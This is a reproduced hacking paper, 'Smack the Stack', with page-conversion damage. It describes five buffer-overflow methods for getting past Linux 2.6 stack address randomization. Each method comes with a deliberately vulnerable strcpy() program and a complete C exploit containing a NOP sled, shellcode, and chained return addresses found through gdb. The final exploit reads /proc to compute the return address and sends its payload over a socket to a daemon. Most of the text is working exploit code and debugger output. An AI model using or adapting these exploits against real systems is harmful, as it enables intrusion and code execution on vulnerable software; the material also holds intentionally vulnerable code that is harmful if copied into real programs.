Smack The Stack

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 16

----------------------------------------------------oO Smack the Stack Oo

( Advanced Buffer Overflow Methods )


Izik <[email protected]>
----------------------------------------------------From time to time, a new patch or security feature is integrated to rais
e the bar on buffer overflow exploiting.
This paper includes five creative methods to overcome various stack prot
ection patches, but in practical focus on
the VA (Virtual Address) space randomization patch that have been integr
ated to Linux 2.6 kernel. These methods are
not limited to this patch or another, but rather provide a different app
roach to the buffer overflow exploiting scheme.
VA Patch
-------Causes certain parts of a process virtual address space to be different
for each invocation of the process.
The purpose of this is to raise the bar on buffer overflow exploits. As
full randomization makes it not possible to
use absolute addresses in the exploit. Randomizing the stack pointer and
mmap() addresses. Which also effects where
shared libraries goes, among other things. The stack is randomized withi
n an 8Mb range and applies to ELF binaries.
The patch intedned to be an addition to the NX support that was added to
the 2.6 kernel earlier as well. This paper
however addressed it as solo.
Synchronize
----------My playground box is running on an x86 box, armed with Linux kernel 2.6.
12.2, glibc-2.3.5 and gcc-3.3.6
Stack Juggling
-------------Stack juggling methods take their advantages off a certain stack layout/
program flow or a registers changes.
Due to the nature of these factors, they might not fit to every situatio
n.
RET2RET
------This method relies on a pointer previously stored on the stack a
s a potential return address to the shellcode.
A potential return address is a base address of a pointer in the
upper stack frame, above the saved return address.
The pointer itself is not required to point directly to the shel
lcode, but rather to fit a byte-alignment.
The gap between the location of the potential return address on
the stack and the shellcode, padded with addresses
that contain a RET instruction. The purpose of RET will be somew
hat similar to a NOP with a tweak, as each RET
performs a POP action and increase ESP by 4 bytes, and then afte

rward jumps to the next one. The last RET will jump to
the potential return address and will lead to the shellcode.
--- snip snip --/*
* vuln.c, Classical strcpy() buffer overflow
*/
#include
#include
#include
#include

<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>

int main(int argc, char **argv) {


char buf[256];
strcpy(buf, argv[1]);
return 1;
}
--- snip snip --Starting with determining 'buf' variable addresses range on the
stack
(gdb) disassemble main
Dump of assembler code
0x08048384 <main+0>:
0x08048385 <main+1>:
0x08048387 <main+3>:
0x0804838d <main+9>:
0x08048390 <main+12>:
0x08048395 <main+17>:
0x08048397 <main+19>:
0x0804839a <main+22>:
0x0804839d <main+25>:
0x080483a0 <main+28>:
0x080483a2 <main+30>:
0x080483a8 <main+36>:
0x080483a9 <main+37>:
0x080483ae <main+42>:
0x080483b1 <main+45>:
0x080483b6 <main+50>:
0x080483b7 <main+51>:
0x080483b8 <main+52>:
0x080483b9 <main+53>:
0x080483ba <main+54>:
0x080483bb <main+55>:
0x080483bc <main+56>:
0x080483bd <main+57>:
0x080483be <main+58>:
0x080483bf <main+59>:
End of assembler dump.
(gdb)

for function main:


push %ebp
mov
%esp,%ebp
sub
$0x108,%esp
and
$0xfffffff0,%esp
mov
$0x0,%eax
sub
%eax,%esp
sub
$0x8,%esp
mov
0xc(%ebp),%eax
add
$0x4,%eax
pushl (%eax)
lea
0xfffffef8(%ebp),%eax
push %eax
call 0x80482b0 <_init+56>
add
$0x10,%esp
mov
$0x1,%eax
leave
ret
nop
nop
nop
nop
nop
nop
nop
nop

Putting a breakpoint prior to strcpy() function invocation and e


xamining the passed pointer of 'buf' variable
(gdb) break *main+37
Breakpoint 1 at 0x80483a9

(gdb) run `perl -e 'print "A"x272'`


Starting program: /tmp/vuln `perl -e 'print "A"x272'`
Breakpoint 1, 0x080483a9 in main ()
(gdb) print (void *) $eax
$1 = (void *) 0xbffff5d0
(gdb)
Simple calculation gives 'buf' variable range [ 0xbffff6d8 - 0xb
ffff5d0 ] / ( 264 bytes ; 0x108h )
After establishing the target range, the search for potential re
turn addresses in the upper stack frame begins
(gdb) x/a $ebp+8
0xbffff6e0:
0x2
(gdb) x/a $ebp+12
0xbffff6e4:
0xbffff764
(gdb) x/a $ebp+16
0xbffff6e8:
0xbffff770
(gdb) x/a $ebp+20
0xbffff6ec:
0xb800167c
(gdb) x/a $ebp+24
0xbffff6f0:
0xb7fdb000 <svcauthsw+692>
(gdb) x/a $ebp+28
0xbffff6f4:
0xbffff6f0
(gdb)
The address [ 0xbffff6f4 ] is a pointer to [ 0xbffff6f0 ], and [
0xbffff6f0 ] is only 24 bytes away from [ 0xbffff6d8 ]
This, after the byte-alignment conversion, will be pointing insi
de the target range.
The byte-alignment is a result of the trailing NULL byte, as the
nature of strings in C language to be NULL terminated
combined with the IA32 (Little Endian) factor. The [ 0xbffff6f0
] address will be changed to [ 0xbffff600 ], which in
our case saves the day and produces a return address to the shel
lcode.
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2RET)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0"

//
// xorl %eax, %e

"\x31\xdb"

// xorl %ebx, %e

"\x40"
"\xcd\x80"

// incl %eax
// int $0x80
//

ax
bx

"\xb7\x83\x04\x08"
0x080483b7 <main+51>:

//
// RET ADDRESS /

ret
//
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08";

//
//
// RET's x 5
//
//

int main(int argc, char **argv, char **envp) {


char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip --RET2POP
------This method reassembles the previous method, except it's focused
on a buffer overflow within a program function scope.
Functions that take a buffer as an argument, which later on will
be comprised within the function to said buffer overflow,
give a great service, as the pointer becomes the perfect potenti
al return address. Ironically, the same byte-alignment
effect applies here as well, and thus prevents it from using it
as perfect potential... but only in a case of when the
buffer argument is being passed as the 1st argument or as the on
ly argument.
--- snip snip --/*

* vuln.c, Standard strcpy() buffer overflow within a fu


nction
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int foobar(int x, char *str) {
char buf[256];
strcpy(buf, str);
return x;
}
int main(int argc, char **argv) {
foobar(64, argv[1]);
return 1;
}
--- snip snip --But when having the buffer passed as the 2nd or higher argument
to the function is a whole different story.
Then it is possible to preserve the pointer, but requires a new
combo.
(gdb) disassemble frame_dummy
Dump of assembler code for function frame_dummy:
0x08048350 <frame_dummy+0>:
push %ebp
0x08048351 <frame_dummy+1>:
mov
%esp,%ebp
0x08048353 <frame_dummy+3>:
sub
$0x8,%esp
0x08048356 <frame_dummy+6>:
mov
0x8049508,%eax
0x0804835b <frame_dummy+11>:
test %eax,%eax
0x0804835d <frame_dummy+13>:
je
0x8048380 <frame_
dummy+48>
0x0804835f <frame_dummy+15>:
0x08048364 <frame_dummy+20>:
0x08048366 <frame_dummy+22>:

mov
test
je

$0x0,%eax
%eax,%eax
0x8048380 <frame_

0x08048368 <frame_dummy+24>:
0x0804836b <frame_dummy+27>:
0x08048370 <frame_dummy+32>:
0x08048375 <frame_dummy+37>:
0x08048378 <frame_dummy+40>:
0x08048379 <frame_dummy+41>:
0x08048380 <frame_dummy+48>:
0x08048382 <frame_dummy+50>:
0x08048383 <frame_dummy+51>:
End of assembler dump.
(gdb)

sub
push
call
add
nop
lea
mov
pop
ret

$0xc,%esp
$0x8049508
0x0
$0x10,%esp

dummy+48>

0x0(%esi),%esi
%ebp,%esp
%ebp

The gcc compiler will normally produce the 'LEAVE' instruction,


unless the user passed the '-O2' option to gcc.
Whatever the actual program code doesn't supply, the CRT objects
will. Part of the optimization issues tearing
down the 'LEAVE' instruction to pieces gives us the benefit of h
aving the ability to use only what's needed for us.
0x08048380 <frame_dummy+48>:
0x08048382 <frame_dummy+50>:

mov
pop

%ebp,%esp
%ebp

0x08048383 <frame_dummy+51>:

ret

The combination of POP followed by RET would result in skipping


over the 1st argument and jump directly to the 2nd argument.
On top of that it would also be the final knockout punch needed
to win this situation.
Because CRT objects have been included within every program, unl
ess of course the user specified otherwise, it is a rich source
of assembly snippets that can be tweaked.
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2POP)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x31\xc0"

//
// xorl %eax, %e

"\x31\xdb"

// xorl %ebx, %e

"\x40"
"\xcd\x80"

// incl %eax
// int $0x80
//

ax
bx

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x82\x83\x04\x08";

//
// RET ADDRESS
//
//
0x080483

82 <frame_dummy+50>:

pop

83 <frame_dummy+51>:

ret

%ebp
//

0x080483

//
int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip --Snooping around the CRT functions, another powerful combination
can be found inside the '__do_global_ctors_aux' implementation
0x080484cc
0x080484cd
0x080484ce
0x080484cf

<__do_global_ctors_aux+44>:
<__do_global_ctors_aux+45>:
<__do_global_ctors_aux+46>:
<__do_global_ctors_aux+47>:

pop
pop
pop
ret

%eax
%ebx
%ebp

But that's for a whole other story ... ;-)


RET2EAX
------This method relies on the convention that functions uses EAX reg
ister to store the return value.
The implementation of return values from functions and syscalls
is done via the EAX register. This of course
is another great service, so that a function that had buffer ove
rflow in it is also kind enough to return back
the buffer. We have EAX that contains a perfect potential retur
n address to the shellcode.
--- snip snip --/*
* vuln.c, Exotic strcpy() buffer overflow
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *foobar(char *str) {
char *ptr, buf[256];
ptr = strcpy(buf, str);
return ptr;
}
int main(int argc, char **argv) {
foobar(argv[1]);
return 1;
}
--- snip snip --Again we return to the CRT function for salvation

(gdb) disassemble __do_global_ctors_aux


Dump of assembler code for function __do_global_ctors_au
x:
0x080484a0
0x080484a1
0x080484a3
0x080484a4
0x080484a5

<__do_global_ctors_aux+0>:
<__do_global_ctors_aux+1>:
<__do_global_ctors_aux+3>:
<__do_global_ctors_aux+4>:
<__do_global_ctors_aux+5>:

push
mov
push
push
mov

%ebp
%esp,%ebp
%ebx
%edx
0x80494f8

,%eax
0x080484aa <__do_global_ctors_aux+10>: cmp

$0xffffff

0x080484ad <__do_global_ctors_aux+13>: mov

$0x80494f

ff,%eax
8,%ebx
0x080484b2 <__do_global_ctors_aux+18>:
<__do_global_ctors_aux+44>
0x080484b4 <__do_global_ctors_aux+20>:
,%esi
0x080484ba <__do_global_ctors_aux+26>:
,%edi
0x080484c0 <__do_global_ctors_aux+32>:
0x080484c3 <__do_global_ctors_aux+35>:
0x080484c5 <__do_global_ctors_aux+37>:
ax
0x080484c7 <__do_global_ctors_aux+39>:
ff,%eax
0x080484ca <__do_global_ctors_aux+42>:
<__do_global_ctors_aux+32>
0x080484cc <__do_global_ctors_aux+44>:
0x080484cd <__do_global_ctors_aux+45>:
0x080484ce <__do_global_ctors_aux+46>:
0x080484cf <__do_global_ctors_aux+47>:
End of assembler dump.
(gdb)

je

0x80484cc

lea

0x0(%esi)

lea

0x0(%edi)

sub
call
mov

$0x4,%ebx
*%eax
(%ebx),%e

cmp

$0xffffff

jne

0x80484c0

pop
pop
pop
ret

%eax
%ebx
%ebp

The abstract implementation of '__do_global_ctors_aux' includes


a sweet CALL instruction. And wins this match!
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2EAX)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x31\xc0"

//
// xorl %eax, %e

"\x31\xdb"

// xorl %ebx, %e

"\x40"
"\xcd\x80"

// incl %eax
// int $0x80
//

ax
bx

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9

0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90"
"\xc3\x84\x04\x08";
0x080484c3 <__do_global_ctors_aux+35>: call *%eax

//
// RET ADDRESS /
//

int main(int argc, char **argv, char **envp) {


char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip --RET2ESP
------This method relies on unique hex, representative of hardcoded va
lues... or in other words, doubles meaning.
Going back to basics: the basic data unit in computers is bits,
and every 8 bits are converted to a byte.
In the process, the actual bits never change, but rather the log
ical meaning. For instance, the difference between
a signed and unsigned is up to the program to recognize the MSB
as sign bit nor data bit. As there is no
absolute way to define a group of bits, different interpretation
becomes possible.
The number 58623 might not be special at first glance, but the h
ex value of 58623 is. The representative hex
number is FFE4, and FFE4 is translated to 'JMP %ESP' and that's
special. As hardcoded values are
part of the program actual code, this freaky idea becomes an act
ual solution.
--- snip snip ---

/*
* vuln.c, Unique strcpy() buffer overflow
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int j = 58623;
char buf[256];
strcpy(buf, argv[1]);
return 1;
}
--- snip snip --Starting with disassembling it
(gdb) disassemble main
Dump of assembler code
0x08048384 <main+0>:
0x08048385 <main+1>:
0x08048387 <main+3>:
0x0804838d <main+9>:
0x08048390 <main+12>:
0x08048395 <main+17>:
0x08048397 <main+19>:
0x0804839e <main+26>:
0x080483a1 <main+29>:
0x080483a4 <main+32>:
0x080483a7 <main+35>:
0x080483a9 <main+37>:
0x080483af <main+43>:
0x080483b0 <main+44>:
0x080483b5 <main+49>:
0x080483b8 <main+52>:
0x080483b9 <main+53>:
0x080483ba <main+54>:
0x080483bb <main+55>:
0x080483bc <main+56>:
0x080483bd <main+57>:
0x080483be <main+58>:
0x080483bf <main+59>:
End of assembler dump.

for function main:


push %ebp
mov
%esp,%ebp
sub
$0x118,%esp
and
$0xfffffff0,%esp
mov
$0x0,%eax
sub
%eax,%esp
movl $0xe4ff,0xfffffff4(%ebp)
sub
$0x8,%esp
mov
0xc(%ebp),%eax
add
$0x4,%eax
pushl (%eax)
lea
0xfffffee8(%ebp),%eax
push %eax
call 0x80482b0 <_init+56>
add
$0x10,%esp
leave
ret
nop
nop
nop
nop
nop
nop

Tearing down [ <main+19> ] to bytes


(gdb) x/7b 0x08048397
0x8048397 <main+19>:
0xe4

0x00

0xc7

0x45

0xf4

0xff

0x00
(gdb)

Perform an offset (+3 bytes) jump to the middle of the instructi


on, interpreted as
(gdb) x/1i 0x804839a
0x804839a <main+22>:
(gdb)

jmp

*%esp

Beauty is in the eye of the beholder, and in this case the x86 C

PU ;-)
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2ESP)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90"

0x804839a <main+22>:

jmp

"\x9a\x83\x04\x08"
*%esp

//
// RET ADDRESS /
//

"\x31\xc0"

//
// xorl %eax, %e

"\x31\xdb"

// xorl %ebx, %e

"\x40"
"\xcd\x80";

// incl %eax
// int $0x80
//

ax
bx

int main(int argc, char **argv, char **envp) {


char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip ---

Here's a tiny table of 16 bit values that includes 'FFE4' in it:


----------------------| VAL | HEX | S/U |
+---------------+-----+
| 58623 | e4ff | S |
| -6913 | e4ff | U |
----------------------Stack Stethoscope
----------------This method is designed to locally attack an already running process (e.
g. daemons), its advantage comes from
accessing the attacked process /proc entry, and using it for calculating
the exact return address inside that stack.
The benefit of exploiting daemon locally is that the exploit can, prior
to attacking, browse that process /proc entry.
Every process has a /proc entry which associated to the process pid (e.g
. /proc/<pid>) and by default open to everybody.
In practical, a file inside the proc entry called 'stat' include very si
gnificant data for the exploit, and that's the
process stack start address.
root@magicbox:~# cat /proc/1/stat | awk '{ print $28 }'
3213067536
root@magicbox:~#
Taking this figure [ 3213067536 ] and converting to hex [ 0xbf838510 ] g
ives the process stack start address.
This is significant to the exploit, as knowing this detail allows an alt
ernative way to navigate inside the stack and predict
the return address to the shellcode.
Normally, exploits use absolute return addresses which are a result of t
esting on different binaries/distributions.
Alternatively, calculating the distance of stack start address from the
ESP register value after exploiting is equal
to having the return address itself.
--- snip snip --/*
* dumbo.c, Exploitable Daemon
*/
#include
#include
#include
#include
#include
#include

<sys/types.h>
<stdio.h>
<stdlib.h>
<unistd.h>
<sys/socket.h>
<netinet/in.h>

int main(int argc, char **argv) {


int sock, addrlen, nsock;
struct sockaddr_in sin;
char buf[256];

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);


if (sock < 0) {
perror("socket");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(31338);
addrlen = sizeof(sin);
if (bind(sock, (struct sockaddr *) &sin, addrlen) < 0) {
perror("bind");
return -1;
}
if (listen(sock, 5) < 0) {
perror("listen");
return -1;
}
nsock = accept(sock, (struct sockaddr *) &sin, &addrlen)
;
if (nsock < 0) {
perror("accept");
close(sock);
return -1;
}
read(nsock, buf, 1024);
close(nsock);
close(sock);
return 1;
}
--- snip snip --Starting by running the daemon
root@magicbox:/tmp# ./dumbo &
[1] 19296
root@magicbox:/tmp#
Now retrieving the process stack start address
root@magicbox:/tmp# cat /proc/19296/stat | awk '{ print $28 }'
3221223520
root@magicbox:/tmp#
Attaching to it, and putting a breakpoint prior to read() invocation
(gdb) x/1i 0x08048677
0x8048677 <main+323>: call
(gdb) break *main+323
Breakpoint 1 at 0x8048677
(gdb) continue

0x8048454 <_init+184>

Shooting it down
root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 313
38
Going back to the debugger, to check on 'buf' pointer
Breakpoint 1, 0x08048677 in main ()
(gdb) x/a $esp+4
0xbffff694:
0xbffff6b0
(gdb)
Now it comes down to a simple math
0xbffff860 0xbffff6b0
---------432 bytes
So by subtracting the stack start address from the buf pointer, we got t
he ratio between the two.
Now, using this data, an exploit can generate a perfect return address.
--- snip snip --/*
* dumbo-exp.c, Exploits 'dumbo.c'
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include

<sys/types.h>
<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<fcntl.h>
<netinet/in.h>
<sys/socket.h>
<arpa/inet.h>

char *shellcode =
"\x31\xc0"
"\x31\xdb"
"\x40"
"\xcd\x80";

//
//
//
//

xorl %eax, %eax


xorl %ebx, %ebx
incl %eax
int $0x80

unsigned long proc_getstackaddr(int pid) {


int fd, jmps;
char fname[24], buf[512], *data;
unsigned long addr;
snprintf(fname, sizeof(fname), "/proc/%d/stat", pid);
fd = open(fname, O_RDONLY);
if ( (fd < 0) || (read(fd, buf, sizeof(buf)) < 0) ) {
perror(fname);
return 0;
}

data = strtok(buf, " ");


for (jmps = 0; ( (jmps < 27) && data ) ; jmps++) {
data = strtok(NULL, " ");
}
if (!data) {
fprintf(stderr, "(%s) is shorter then expected,
(corrupted?)\n", fname);
return 0;
}
addr = strtoul(data, NULL, 0);
if (addr < 0) {
fprintf(stderr, "(%s) invalid stack start addres
s, %s is corrupted (?)\n", data, fname);
return 0;
}
return addr;
}
int main(int argc, char **argv) {
int sock;
struct sockaddr_in sin;
struct badpkt {
char shcode[7];
char padbuf[290];
unsigned long retaddr;
} badpkt;
if (argc < 2) {
printf("usage: %s <given-pid>\n", argv[0]);
return 0;
}
if (!(badpkt.retaddr = proc_getstackaddr(atoi(argv[1])))
)
return 0;
badpkt.retaddr -= 432;
strcpy(badpkt.shcode, shellcode);
memset(badpkt.padbuf, 0x41, sizeof(badpkt.padbuf));
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sock < 0) {
perror("socket");
return 0;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(31338);
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin))
< 0) {

perror("connect");
return 0;
}
printf("*** Dumbo is going down! (RET: 0x%08x) ***\n", b
adpkt.retaddr);
write(sock, (void *) &badpkt, sizeof(badpkt));
close(sock);
return 1;
}
--- snip snip --Contact
------Izik <[email protected]> [or] http://www.tty64.org

You might also like